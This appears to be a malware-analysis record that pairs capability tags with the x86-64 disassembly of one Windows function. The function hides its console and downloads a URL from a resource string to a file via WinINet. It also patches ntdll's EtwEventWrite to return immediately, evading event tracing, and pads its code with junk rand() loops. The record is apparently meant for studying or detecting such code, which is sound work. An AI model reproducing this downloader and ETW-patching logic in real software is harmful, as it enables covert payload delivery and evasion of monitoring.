Function at 0x140001e20
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
xor r15d, r15d
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov ebx, r15d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140001e58
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], 8
mov qword [rbp - 0x58], 0xf
movabs r14, 0x7478742e6e69616d
mov qword [rbp - 0x70], r14
mov byte [rbp - 0x68], r15b
mov r8d, 1
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x30]
call fcn.140003690
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
movzx ebx, al
lea rcx, [rbp - 0x30]
call fcn.140001700
test bl, bl
je 0x140001eff
lea rcx, [rbp - 0x70]
call fcn.1400017c0
mov ebx, r15d
jmp 0x14000256e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, pe_nt_image_headers64
lea r8, [rbp - 0x30]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x140001f44
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x70]
call fcn.140003230
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x40], xmm1
jmp 0x140001f55
lea rdx, [0x1400065b4]
lea rcx, [rbp - 0x50]
call fcn.140003230
nop
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x50]
call fcn.1400015b0
nop
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140002302
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 4
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140003d70
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rbp - 0x78]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp - 0x80]
cmp r8, 4
jne 0x140001fdf
lea rdx, str.http
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140001fdf
mov dil, 1
jmp 0x140001fe2
xor dil, dil
cmp rsi, 0xf
jbe 0x14000201c
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140002014
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002014
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400046b4
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, r15
test dil, dil
je 0x1400021e0
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140002040
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], 8
mov qword [rbp - 0x78], 0xf
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
je 0x14000218e
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140002185
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x14000217f
lea r9, [rbp + 0x400]
mov r8d, 0x400
lea rdx, [rbp - 0x30]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002173
nop
mov r8d, dword [rbp + 0x400]
test r8d, r8d
je 0x140002173
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x408]
lea rdx, [rbp - 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x400]
mov r8d, 0x400
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002130
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x70]
call fcn.1400017c0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000222c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046b4
jmp 0x14000222c
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x1400021e0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004010
mov rcx, rax
lea rdx, [0x140003c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x50]
call fcn.1400017c0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002269
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002264
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400024f3
call fcn.1400046b4
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x1400022bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002550
call fcn.1400046b4
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400022fb
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046b4
xor eax, eax
jmp 0x1400025ae
call fcn.140001370
test al, al
je 0x1400024bc
mov dword [rbp + 0x408], r15d
mov dword [rsp + 0x40], 0x45777445
mov dword [rsp + 0x44], 0x746e6576
mov dword [rsp + 0x48], 0x74697257
mov word [rsp + 0x4c], 0x65
mov dword [rbp + 0x410], 0x6c64746e
mov word [rbp + 0x414], 0x6c
mov dword [rbp + 0x400], 0xc3c03348
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400024fa
lea r9, [rbp + 0x408]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400024fa
mov ecx, dword [rbp + 0x400]
mov dword [rbx], ecx
lea r9, [rbp + 0x408]
mov r8d, dword [rbp + 0x408]
mov edx, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400024fa
mov esi, 1
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, r15
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x1400023e4
mov edi, 1
mov r14d, esi
nop dword [rax + rax]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, r15
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140002414
mov edx, edi
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140006680]
call fcn.140003a70
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x14000667c]
call fcn.140003a70
mov rcx, rax
mov edx, r14d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
cmp edi, esi
jae 0x140002490
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, r15
nop
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
inc rbx
cmp rbx, 0x64
jl 0x140002480
nop
inc edi
add r14d, esi
cmp edi, esi
jle 0x140002400
lea rdx, [0x140003c40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc esi
cmp esi, 9
jle 0x1400023d0
mov ebx, r15d
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140002506
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002501
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002501
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ebx, 0xfffffffd
jmp 0x1400024bf
call fcn.1400046b4
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000255c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002557
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002557
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046b4
movdqa xmm0, xmmword [0x140006750]
movdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x50], r15w
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400025ac
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400025a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400025a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400046b4
mov eax, ebx
mov rbx, qword [rsp + 0x518]
add rsp, 0x4d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret